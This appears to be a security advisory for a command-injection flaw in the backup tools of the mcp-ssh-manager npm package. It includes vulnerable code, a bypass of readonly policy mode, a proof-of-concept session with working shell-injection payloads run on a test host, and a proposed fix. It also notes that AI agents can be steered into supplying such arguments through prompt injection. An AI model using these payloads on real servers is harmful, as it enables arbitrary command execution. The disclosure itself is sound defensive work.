src/backup-manager.js builds shell command strings for the ssh_backup_* tools by concatenating caller-controlled tool arguments (database, dbUser, dbPassword, dbHost, backupDir, paths, exclude, …) directly into the string with no shell escaping. The resulting string is passed to ssh.execCommand(), which runs it through the remote server's login shell. An argument that contains shell metacharacters (;, $(...), backticks, |) therefore executes arbitrary commands on the target server. This is a remote code execution (RCE) vulnerability: an attacker who controls the tool arguments gains arbitrary command execution on every remote server the MCP instance manages, running as the configured SSH user.
This is the same vulnerability class that was fixed for the database helpers in CVE-2026-77383 / GHSA-4jx9-2fwj-pg4j. That fix added a centralized shellQuote() and was applied to src/database-manager.js (the ssh_db_* tools) only. The parallel builders in src/backup-manager.js (the ssh_backup_* tools) were not covered and remain vulnerable in the current release, v3.8.0.
$ grep -c shellQuote src/database-manager.js src/backup-manager.js
src/database-manager.js:95 <- fixed (CVE-2026-77383)
src/backup-manager.js:0 <- NOT fixed
mcp-ssh-manager (npm), repository bvisible/mcp-ssh-managersrc/backup-manager.js (all builders); reached from the tool handlers in src/index.jsEvery builder in src/backup-manager.js interpolates arguments without escaping. Example — buildMySQLDumpCommand:
let command = 'mysqldump';
if (user) command += ` -u${user}`;
if (password) command += ` -p'${password}'`; // single-quote only -> breakable with '
if (host) command += ` -h ${host}`;
command += ` ${database}`; // fully unquoted
if (compress) command += ` | gzip > "${outputFile}"`;
The tool handler passes tool arguments straight into the builder (no validation beyond z.string() type checking), and the returned string is executed on the remote host:
// src/index.js (ssh_backup_create, mysql branch)
backupCommand = buildMySQLDumpCommand({ database, user: dbUser, password: dbPassword, host: dbHost, ... });
const result = await ssh.execCommand(backupCommand); // remote login shell
SSHManager.execCommand() runs the string with this.client.exec(fullCommand, …) (ssh2), i.e. the remote sshd executes it via the user's shell, so ;, $(...), backticks and | are interpreted.
| Tool | Attacker-controlled argument(s) | Builder / sink |
|---|---|---|
ssh_backup_create |
database, dbUser, dbPassword, dbHost, backupDir, paths, exclude |
buildMySQL/PostgreSQL/MongoDB/FilesBackupCommand, plus inline mkdir -p "${backupDir}", stat … "${backupFile}", buildSaveMetadataCommand, buildCleanupCommand |
ssh_backup_restore |
database, targetPath, connection params |
buildRestoreCommand → MySQL/PG/Mongo/Files restore builders |
ssh_backup_schedule |
schedule, database, paths, cronComment |
script written to the remote host + buildCronScheduleCommand (persistent, runs from cron) |
ssh_backup_list |
backupDir |
buildListBackupsCommand → find "${backupDir}" … |
ssh_backup_list is not listed in READONLY_BLOCKED_TOOLS and is not a COMMAND_BEARING_TOOLS, and its handler does not call applyServerPolicy at all. In src/policy.js, evaluatePolicy therefore returns { allowed: true } for it under both readonly and restricted modes. An operator who hardens a server to readonly (intending "the agent may never run commands here") can still be made to execute arbitrary commands on that server through the unescaped backupDir argument of ssh_backup_list. This mirrors the "ssh_db_list bypasses readonly/restricted" note in CVE-2026-77383.
The following session imports the unmodified builders from the repository, shows the command string they generate for an attacker-controlled argument, and delivers that exact string to a real sshd over SSH exec (which is what ssh.execCommand() does internally). The injected command runs on the remote host.
$ node -p "require('./package.json').version"
3.8.0
$ node -e "import('./src/backup-manager.js').then(m=>console.log(m.buildMySQLDumpCommand(
{database:'appdb; id > /tmp/pwned.txt; #',user:'backup',host:'db.internal',
outputFile:'/tmp/app.sql.gz',compress:true})))"
mysqldump -ubackup -h db.internal -P 3306 --single-transaction --routines --triggers appdb; id > /tmp/pwned.txt; # | gzip > "/tmp/app.sql.gz"
# deliver over SSH exec (identical to ssh.execCommand)
$ ssh deploy@testhost "$CMD"; echo exit=$?
exit=0
$ ssh deploy@testhost 'cat /tmp/pwned.txt'
uid=1001(deploy) gid=1001(deploy) groups=1001(deploy) <-- injected command executed on the remote host
Mode-bypass variant via ssh_backup_list (works on a readonly server):
$ node -e "import('./src/backup-manager.js').then(m=>process.stdout.write(
m.buildListBackupsCommand('/var/backups\"; id > /tmp/pwned.txt; echo \"', null)))"
find "/var/backups"; id > /tmp/pwned.txt; echo "" -name "*.meta.json" -type f | while read -r file; do cat "$file"; echo "---"; done
$ ssh deploy@testhost "$LST"; ssh deploy@testhost 'cat /tmp/pwned.txt'
uid=1001(deploy) gid=1001(deploy) groups=1001(deploy)
(See attached session.txt / live_repro.log for the full runs and poc.mjs for a standalone reproducer.)
mcp-ssh-manager-backup-rce-poc.zip
Remote Code Execution (RCE) — arbitrary OS command execution on the managed remote server, running as the configured SSH user — identical impact to CVE-2026-77383. In the default unrestricted mode this is reachable through ssh_backup_create, ssh_backup_restore, ssh_backup_schedule (the last also yields a persistent cron foothold) and ssh_backup_list. On servers hardened to readonly/restricted, ssh_backup_list still reaches it, bypassing the intended tool restriction.
Consistent with CVE-2026-77383: the tool arguments are treated as untrusted. In an MCP deployment they are produced by the language model and can be steered by an indirect prompt injection (malicious content the agent reads) or by a malicious/compromised MCP client. No exploitation occurs when a fully trusted operator supplies only benign values.
Apply the existing shellQuote() from src/database-manager.js to every argument interpolated by the builders in src/backup-manager.js (database, user, password, host, port, outputFile, outputDir, paths, exclude, database in restore, schedule/cronComment in the cron builder), and to the inline interpolations in the ssh_backup_* handlers in src/index.js (mkdir -p "${backupDir}", stat … "${backupFile}", echo '…' > "${metadataPath}"). Prefer passing values as argv where the transport allows it. Additionally, route ssh_backup_list through applyServerPolicy so it is subject to the same read-only semantics as the other backup tools.
{
"cwe_ids": [
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2026-11-30T20:02:31Z",
"nvd_published_at": "2026-11-20T19:18:44Z",
"severity": "HIGH"
}